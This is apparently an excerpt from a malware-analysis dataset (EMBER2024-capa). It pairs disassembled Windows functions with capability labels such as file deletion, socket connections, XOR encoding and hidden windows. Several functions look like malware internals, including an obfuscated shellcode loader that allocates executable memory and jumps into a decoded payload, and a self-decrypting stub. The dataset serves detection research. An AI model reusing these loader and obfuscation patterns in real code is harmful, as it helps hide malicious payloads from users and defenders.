joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d404a90
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebp
push esi
push edi
push ecx
mov dword [eax], 0
call fcn.6d40eac0
mov esi, eax
add esp, 4
test esi, esi
jns 0x6d404ac7
push 0x444
push str..._.._.._src_share_demo_jvmti_hprof_hprof_check.c
push str.fd_0
push 0
push 1
call fcn.6d405ce0
add esp, 0x14
push 0xffffffffffffffff
push 0xffffffffffffffff
push esi
call fcn.6d40eb20
mov edi, eax
and eax, edx
add esp, 0xc
cmp eax, 0xffffffff
jne 0x6d404afa
push 0x446
push str..._.._.._src_share_demo_jvmti_hprof_hprof_check.c
push str.Cannot_md_seek___to_end_of_file
push 0
push 1
call fcn.6d405ce0
add esp, 0x14
jmp 0x6d404b02
cmp edi, 0x200
jg 0x6d404b1d
push 0x448
push str..._.._.._src_share_demo_jvmti_hprof_hprof_check.c
push str.__jint_nbytes__512
push 0
push 1
call fcn.6d405ce0
add esp, 0x14
push 0
push 0
push esi
call fcn.6d40eb20
add esp, 0xc
or eax, edx
je 0x6d404b49
push 0x44a
push str..._.._.._src_share_demo_jvmti_hprof_hprof_check.c
push str.Cannot_md_seek___to_start_of_file
push 0
push 1
call fcn.6d405ce0
add esp, 0x14
lea ecx, [edi + 1]
push ecx
call fcn.6d415ad0
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x6d404b75
push 0x44d
push str..._.._.._src_share_demo_jvmti_hprof_hprof_check.c
push str.image_NULL
push eax
push 1
call fcn.6d405ce0
add esp, 0x14
push ebx
push edi
push ebp
push esi
call sub.msvcr100.dll__read
mov ebx, eax
add esp, 0xc
test ebx, ebx
jg 0x6d404ba2
push 0x452
push str..._.._.._src_share_demo_jvmti_hprof_hprof_check.c
push str.System_read_failed.
push 0
push 1
call fcn.6d405ce0
add esp, 0x14
cmp edi, ebx
pop ebx
je 0x6d404bc2
push 0x454
push str..._.._.._src_share_demo_jvmti_hprof_hprof_check.c
push str.__jint_nbytes_nread
push 0
push 1
call fcn.6d405ce0
add esp, 0x14
push esi
call fcn.6d40eb60
mov edx, dword [esp + 0x14]
add esp, 4
mov dword [edx], edi
pop edi
pop esi
mov eax, ebp
pop ebp
ret
Function at 0x6d405ce0
Capabilities:
Terminate process

Disassembly:
cmp dword [esp + 0xc], 0
jne 0x6d405cef
mov dword [esp + 0xc], 0x6d4192c9
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
test ebp, ebp
je 0x6d405d5e
push ebx
push ebp
call fcn.6d4164f0
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x6d405d0f
mov ebx, 0x6d41a40c
mov esi, dword [esp + 0x20]
test esi, esi
jne 0x6d405d1e
mov eax, str.UnknownSourceFile
jmp 0x6d405d41
mov edi, dword [sym.imp.msvcr100.dll_strrchr]
push 0x2f
push esi
call edi
add esp, 8
test eax, eax
jne 0x6d405d40
push 0x5c
push esi
call edi
add esp, 8
test eax, eax
jne 0x6d405d40
mov eax, esi
jmp 0x6d405d41
inc eax
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x1c]
push ecx
push eax
push ebp
push ebx
push edx
push str.HPROF_ERROR:__s__JVMTI_Error__s__d_____s:_d__n
call fcn.6d405be0
add esp, 0x18
pop ebx
jmp 0x6d405da8
mov esi, dword [esp + 0x1c]
test esi, esi
jne 0x6d405d6d
mov eax, str.UnknownSourceFile
jmp 0x6d405d90
mov edi, dword [sym.imp.msvcr100.dll_strrchr]
push 0x2f
push esi
call edi
add esp, 8
test eax, eax
jne 0x6d405d8f
push 0x5c
push esi
call edi
add esp, 8
test eax, eax
jne 0x6d405d8f
mov eax, esi
jmp 0x6d405d90
inc eax
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
push ecx
push eax
push edx
push str.HPROF_ERROR:__s___s:_d__n
call fcn.6d405be0
add esp, 0x10
cmp byte [esp + 0x10], 0
pop edi
pop esi
pop ebp
jne 0x6d405dbd
mov eax, dword [0x6d41e7f8]
cmp byte [eax + 0x65], 0
je 0x6d405e00
push str.HPROF_TERMINATED_PROCESS_n
call fcn.6d405be0
mov eax, dword [0x6d41e7f8]
add esp, 4
cmp byte [eax + 0x64], 0
jne 0x6d405ddb
cmp byte [eax + 0x67], 0
je 0x6d405df8
push 0
push 0x16
call dword [sym.imp.msvcr100.dll_signal]
push str.HPROF_DUMPING_CORE_n
call fcn.6d405be0
add esp, 0xc
call dword [sym.imp.msvcr100.dll_abort]
push 9
call dword [sym.imp.msvcr100.dll_exit]
ret
Function at 0x6d406960
Capabilities:
Delete file

Disassembly:
sub esp, 0x28
mov eax, dword [0x6d41e108]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
mov esi, ecx
mov eax, dword [esi]
push eax
mov dword [esp + 0xc], esi
call fcn.6d40eaa0
add esp, 4
test eax, eax
js 0x6d406aa4
push ebx
push edi
push eax
call fcn.6d40eb60
add esp, 4
call fcn.6d40e980
mov edi, dword [esi]
mov dword [esp + 0x24], eax
mov eax, edi
mov dword [esp + 0xc], edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x6d4069a7
sub eax, edx
add eax, 0x40
push eax
mov dword [esp + 0x1c], eax
call fcn.6d415ad0
mov ecx, dword [0x6d41e7f8]
add esp, 4
mov byte [esp + 0x28], 0
cmp byte [ecx + 0x38], 0x62
mov dword [esp + 0x20], eax
je 0x6d406a65
xor eax, eax
jmp 0x6d4069e0
mov cl, byte [eax + str..txt]
mov byte [esp + eax + 0x28], cl
inc eax
test cl, cl
jne 0x6d4069e0
push 0x2e
push edi
call dword [sym.imp.msvcr100.dll_strrchr]
add esp, 8
mov dword [esp + 0x14], eax
test eax, eax
je 0x6d406a65
push ebp
mov ebp, str..txt
xor edi, edi
mov esi, eax
sub ebp, eax
nop
mov bl, byte [esi]
test bl, bl
je 0x6d406a5c
movsx edx, byte [esi + ebp]
push edx
call dword [sym.imp.msvcr100.dll_tolower]
movsx ecx, bl
push ecx
mov dword [esp + 0x28], eax
call dword [sym.imp.msvcr100.dll_tolower]
add esp, 8
cmp dword [esp + 0x20], eax
jne 0x6d406a5c
inc edi
inc esi
cmp edi, 4
jl 0x6d406a10
mov esi, dword [esp + 0x18]
lea edx, [esp + 0x2c]
mov eax, esi
sub edx, esi
jmp 0x6d406a50
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x6d406a50
mov byte [esi], cl
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
pop ebp
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x18]
mov ebx, dword [esp + 0x20]
lea edx, [esp + 0x28]
push edx
push eax
push edi
push str._s._d_s
push ecx
push ebx
call fcn.6d40ed10
push edi
mov dword [esi], ebx
call sub.msvcr100.dll_free
mov edx, dword [0x6d41e7f8]
mov eax, dword [edx + 0x80]
push eax
call dword [sym.imp.msvcr100.dll_remove]
add esp, 0x20
pop edi
pop ebx
mov ecx, dword [esp + 0x28]
pop esi
xor ecx, esp
call fcn.6d417d33
add esp, 0x28
ret
Function at 0x6d40cd10
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x20000
mov ebx, eax
call fcn.6d415ad0
mov edi, dword [esp + 0x18]
add esp, 4
mov ebp, eax
lea esp, [esp]
mov eax, 0x20000
cmp edi, eax
jge 0x6d40cd3b
mov eax, edi
push eax
push ebp
push ebx
call sub.msvcr100.dll__read
mov esi, eax
add esp, 0xc
test esi, esi
js 0x6d40cd6d
je 0x6d40cd84
jle 0x6d40cd5b
push esi
push ebp
call dword [esp + 0x24]
add esp, 8
sub edi, esi
test edi, edi
jg 0x6d40cd30
push ebp
call sub.msvcr100.dll_free
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
ret
call dword [sym.imp.msvcr100.dll__errno]
mov eax, dword [eax]
push eax
push esi
mov ebx, str.read
call fcn.6d40aa50
add esp, 8
test edi, edi
jle 0x6d40cda6
test esi, esi
jne 0x6d40cda6
push 0x765
push str..._.._.._src_share_demo_jvmti_hprof_hprof_io.c
push str.File_size_is_smaller_than_bytes_written
push esi
push 1
call fcn.6d405ce0
add esp, 0x14
push ebp
call sub.msvcr100.dll_free
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x6d40e9c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
sub esp, 0x14
mov eax, dword [0x6d41e108]
xor eax, esp
mov dword [esp + 0x10], eax
push esi
push edi
mov edi, dword [esp + 0x20]
push 0
push 1
push 2
call dword [sym.imp.wsock32.dll_socket]
push edi
mov esi, eax
call dword [sym.imp.wsock32.dll_gethostbyname]
test eax, eax
jne 0x6d40ea01
pop edi
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.6d417d33
add esp, 0x14
ret
xor ecx, ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [esp + 0x24]
mov edx, dword [ecx]
push eax
mov dword [esp + 0x10], edx
call dword [sym.imp.wsock32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
push edx
mov ecx, 2
push esi
mov word [esp + 0x16], ax
mov word [esp + 0x14], cx
call dword [sym.imp.wsock32.dll_connect]
mov ecx, dword [esp + 0x18]
inc eax
neg eax
sbb eax, eax
and eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.6d417d33
add esp, 0x14
ret

Function at 0x6d40eb70
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push ecx
push edx
push eax
call dword [sym.imp.wsock32.dll_send]
ret

Function at 0x6d40ec90
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x6d41e108]
xor eax, esp
mov dword [esp + 0x190], eax
mov eax, dword [esp + 0x19c]
sub eax, 0
je 0x6d40ecd2
dec eax
jne 0x6d40ece2
mov eax, dword [esp + 0x198]
lea ecx, [esp]
push ecx
push 2
mov dword [0x6d41e7f4], eax
call dword [sym.imp.wsock32.dll_WSAStartup]
mov dword [0x6d41e3d8], eax
jmp 0x6d40ece2
call dword [sym.imp.wsock32.dll_WSACleanup]
mov dword [0x6d41e7f4], 0
mov ecx, dword [esp + 0x190]
xor ecx, esp
mov eax, 1
call fcn.6d417d33
add esp, 0x194
ret 0xc
Function at 0x6d410d90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x6d410d9f
pop dword [ebp - 0x34]
mov eax, 0xcfc4bc25
sub eax, 0x6283ae86
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x25daacc9
add dword [ebp - 0x44], 0x28779882
mov dword [ebp - 0x40], 0x9255f8b6
add dword [ebp - 0x40], 0x9fdd538f
mov dword [ebp - 0x3c], 0x681a7a41
sub dword [ebp - 0x3c], 0x1bce3613
mov dword [ebp - 0x38], 0x73a3ea96
add dword [ebp - 0x38], 0x8c5c156a
lea eax, [ebp - 0x44]
push eax
mov eax, 0x89de856f
sub eax, 0x1c9cf523
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xdf854cda
add dword [ebp - 0x44], 0x94ed1c7c
mov dword [ebp - 0x40], 0x55386291
add dword [ebp - 0x40], 0xec33fee4
mov dword [ebp - 0x3c], 0x626799eb
sub dword [ebp - 0x3c], 0xfef82d7f
mov dword [ebp - 0x38], 0xb84d8c96
add dword [ebp - 0x38], 0x47b2736a
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x93216c71
sub eax, 0x25dfdc19
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x34851
push 0
call eax
mov ecx, 0xae363fb6
add ecx, 0x51ca003c
xor ebx, ebx
add ebx, eax
mov edx, 0xa871500
add edx, 0x62bb0500
add edx, dword [ebp - 0x34]
mov edi, 0xd4f15143
add edi, 0x91d9c5fe
xor dword [ebp - 4], eax
mov esi, dword [edx]
xor dword [ebp - 0x2c], 0x45712367
sub esi, edi
xor dword [ebp - 0x14], 0xe0c3af54
mov dword [ebx], esi
add dword [ebp - 0x1c], eax
add ebx, 0x78d642f5
add ebx, 0x8729bd0f
add edx, 0x23426407
sub edx, 0x23426403
loop 0x6d410ec3
add eax, 0xf29b
mov ebx, eax
add eax, 5
mov ecx, 0x54ebfd86
sub ecx, 0xe7abfd86
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x6d417400
Capabilities:
Terminate process

Disassembly:
mov ecx, dword [esp + 4]
xor eax, eax
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov eax, dword [0x6d41e7f8]
mov eax, dword [eax]
mov edx, dword [eax]
push ecx
push eax
mov eax, dword [edx + 0x22c]
call eax
test eax, eax
je 0x6d417450
push 0x502
push str..._.._.._src_share_demo_jvmti_hprof_hprof_util.c
push str.Unable_to_get_potential_JVMTI_capabilities.
push 0
push 0
call fcn.6d405ce0
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.6d405ca0
ret

Function at 0x6d417460
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x6d41e7f8]
mov eax, dword [eax]
mov edx, dword [esp + 4]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x234]
call eax
test eax, eax
je 0x6d4174a3
push 0x50f
push str..._.._.._src_share_demo_jvmti_hprof_hprof_util.c
push str.Unable_to_get_necessary_JVMTI_capabilities.
push 0
push 0
call fcn.6d405ce0
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.6d405ca0
ret

Function at 0x6d417d33
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d41e108]
jne 0x6d417d3d
repz ret
jmp fcn.6d4181c2

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x404ff0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
sub esp, 0x18
mov esi, ecx
mov ecx, esp
push 7
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push str.k_usrok
mov byte [ecx], 0
call fcn.004065e0
call fcn.0044be20
add esp, 0x18
mov byte [esi + 0x3b1], 1
mov byte [esi + 0x3bc], 1
push 0
push 0
push 0x4c9
push dword [esi + 0x248]
call dword [sym.imp.USER32.dll_PostMessageW]
push 0
push dword [esi + 0x248]
call dword [sym.imp.USER32.dll_ShowWindow]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x405060
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
sub esp, 0x18
mov esi, ecx
mov ecx, esp
push 0xa
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push str.k_usrclose
mov byte [ecx], 0
call fcn.004065e0
call fcn.0044be20
mov al, byte [esi + 0x3b0]
add esp, 0x18
mov byte [esi + 0x3b1], al
mov byte [esi + 0x3bc], 1
push 0
push 0
push 0x4c9
push dword [esi + 0x248]
call dword [sym.imp.USER32.dll_PostMessageW]
push 0
push dword [esi + 0x248]
call dword [sym.imp.USER32.dll_ShowWindow]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4053d0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
push dword [ecx + 0x248]
mov byte [ecx + 0x3bc], 1
call dword [sym.imp.USER32.dll_ShowWindow]
sub esp, 0x18
mov ecx, esp
push 0xd
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push str.k_unknowclose
mov byte [ecx], 0
call fcn.004065e0
call fcn.0044be20
add esp, 0x18
mov esp, ebp
pop ebp
ret
Function at 0x409660
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x3a8]
cmp dword [eax + 0x174], 3
jne 0x409695
push 0
push dword [esi + 0x248]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0x469
push dword [esi + 0x248]
call dword [sym.imp.USER32.dll_PostMessageW]
push 0
push 0xf060
push 0x112
push dword [esi + 0x248]
call dword [sym.imp.USER32.dll_SendMessageW]
pop esi
ret
Function at 0x409e80
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
push 0
push dword [esi + 0x248]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0x469
push dword [esi + 0x248]
call dword [sym.imp.USER32.dll_PostMessageW]
pop esi
ret

Function at 0x409eb0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5848a0
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x5d4074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x40]
push 4
push str.EULA
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x30], eax
mov word [ebp - 0x40], ax
call fcn.004061c0
mov byte [ebp - 4], 1
call fcn.004514f0
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x40]
push ecx
mov ecx, eax
call fcn.00450e30
mov eax, dword [ebp - 0x2c]
cmp eax, 8
jb 0x409f39
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.004074b0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 1
cmovae eax, dword [ebp - 0x28]
push 0
push eax
push str.explorer
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x409f70
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.004074b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a04e0
mov esp, ebp
pop ebp
ret
Function at 0x40b500
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x584af2
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push esi
mov eax, dword [0x5d4074]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
push 0
call fcn.0049d78d
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
test eax, eax
jne 0x40b594
mov dword [ebp - 0x18], str.bad_locale_name
mov dword [ebp - 0x1c], vtable.std::runtime_error.0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 7
call fcn.00401f70
push eax
push esi
call fcn.0049dad5
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x417ea0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov ebx, edx
mov esi, ecx
push edi
test ebx, ebx
je 0x417ec7
cmp dword [ebx + 0x14], 0x10
mov dword [ebx + 0x10], 0
jb 0x417ec2
mov eax, dword [ebx]
jmp 0x417ec4
mov eax, ebx
mov byte [eax], 0
call fcn.0041c310
test al, al
je 0x417ed9
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, esi
call fcn.0041a2a0
mov edi, eax
mov dword [ebp - 0xc], edi
test edi, edi
je 0x417ed0
push 0x10000
call fcn.004a0767
add esp, 4
mov dword [ebp - 8], 0
mov esi, eax
push edi
push 0x10000
push 1
push esi
call fcn.005367d1
mov edi, eax
add esp, 0x10
test edi, edi
je 0x417f66
mov eax, dword [ebp + 8]
nop dword [eax]
test ebx, ebx
je 0x417f3c
mov ecx, eax
mov eax, edi
sub ecx, dword [ebp - 8]
cmp ecx, edi
cmovb eax, ecx
mov ecx, ebx
push eax
push esi
call fcn.00406810
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
sub eax, ecx
cmp eax, edi
jb 0x417f7c
push dword [ebp - 0xc]
add ecx, edi
push 0x10000
push 1
push esi
mov dword [ebp - 8], ecx
call fcn.005367d1
mov edi, eax
add esp, 0x10
mov eax, dword [ebp + 8]
test edi, edi
jne 0x417f20
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.0053581f
add esp, 4
test eax, eax
jne 0x417f7f
mov byte [ebp - 1], 1
jmp 0x417f83
mov ebx, dword [ebp - 0xc]
mov byte [ebp - 1], 0
push ebx
call fcn.00535aa7
add esp, 4
test esi, esi
je 0x417f99
push esi
call fcn.004a0532
add esp, 4
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x418d80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x5d4074]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x418ebf
cmp byte [ebx + 0x3d], 0
je 0x418ebf
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x418dcd
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.004a04e0
mov esp, ebp
pop ebp
ret
push 0
push 8
lea ecx, [esp + 0x1c]
call fcn.00412a20
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x28]
cmp ecx, 0x10
lea eax, [esp + 0x10]
mov ecx, dword [ebx + 0x38]
lea edi, [esp + 0x14]
push eax
mov eax, dword [esp + 0x28]
lea esi, [esp + 0x18]
cmovae edi, edx
cmovae esi, edx
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x418e3e
sub eax, 1
je 0x418e42
sub eax, 2
je 0x418ea0
lea ecx, [esp + 0x14]
xor bl, bl
call fcn.00405950
mov al, bl
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.004a04e0
mov esp, ebp
pop ebp
ret
mov byte [ebx + 0x3d], 0
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x14]
mov edx, dword [esp + 0x14]
cmp ecx, 0x10
mov esi, dword [esp + 0x10]
cmovae eax, edx
sub esi, eax
je 0x418e81
push dword [ebx + 0x4c]
cmp ecx, 0x10
lea eax, [esp + 0x18]
push esi
cmovae eax, edx
push 1
push eax
call fcn.0053606b
add esp, 0x10
cmp esi, eax
jne 0x418e1f
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x14]
cmp byte [ebx + 0x3d], 0
je 0x418ea0
test esi, esi
jne 0x418de2
push esi
push 8
lea ecx, [esp + 0x1c]
call fcn.004142d0
jmp 0x418dda
lea ecx, [esp + 0x14]
mov bl, 1
call fcn.00405950
mov al, bl
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.004a04e0
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x2c]
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004a04e0
mov esp, ebp
pop ebp
ret
Function at 0x419510
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5f0
mov eax, dword [0x5d4074]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov esi, edx
xor ebx, ebx
push esi
sub esp, 8
mov dword [ebp - 0x2ec], esi
mov dword [ebp - 0x2e8], ebx
push ecx
lea ecx, [ebp - 0x2e4]
call fcn.00427b10
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x2e4]
call fcn.00427c20
cmp dword [ebp - 0x10], ebx
je 0x41965b
nop
cmp byte [ebp - 0x2e4], 0
jne 0x41959a
test bl, 1
je 0x419582
and ebx, 0xfffffffe
lea ecx, [ebp - 0x39c]
mov dword [ebp - 0x2e8], ebx
call fcn.004219d0
push 0x250
lea eax, [ebp - 0x5ec]
push 0
push eax
call fcn.0052eb40
add esp, 0xc
jmp 0x4195b3
mov ecx, 0x94
lea esi, [ebp - 0x2e0]
lea edi, [ebp - 0x5ec]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x2ec]
mov ebx, dword [ebp - 0x5ec]
test bl, 1
je 0x4195d6
cmp dword [ebp - 0xc], 8
lea ecx, [ebp - 0x20]
mov eax, ebx
cmovae ecx, dword [ebp - 0x20]
and eax, 0xfffffffe
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
shr ebx, 4
test bl, 1
je 0x419609
push 1
mov edx, esi
lea ecx, [ebp - 0x20]
call fcn.00419510
add esp, 4
test al, al
je 0x4196b6
cmp dword [ebp - 0xc], 8
lea eax, [ebp - 0x20]
cmovae eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x41961b
cmp dword [ebp - 0xc], 8
lea eax, [ebp - 0x20]
cmovae eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x4196b6
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x2e4]
call fcn.00427c20
lea ecx, [ebp - 0x20]
cmp ecx, eax
je 0x419643
push 0xffffffffffffffff
push 0
push eax
call fcn.004062c0
lea ecx, [ebp - 0x38]
call fcn.00405770
cmp dword [ebp - 0x10], 0
mov ebx, dword [ebp - 0x2e8]
jne 0x419560
lea ecx, [ebp - 0x20]
call fcn.00405770
mov bl, 1
mov eax, dword [ebp - 0x90]
cmp eax, 0xffffffff
je 0x419677
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x54]
call fcn.00428030
push 1
push dword [ebp - 0x54]
call fcn.00424710
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x54], 0
call fcn.00405770
lea ecx, [ebp - 0x8c]
call fcn.00405770
mov ecx, dword [ebp - 8]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004a04e0
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x20]
call fcn.00405770
xor bl, bl
jmp 0x419665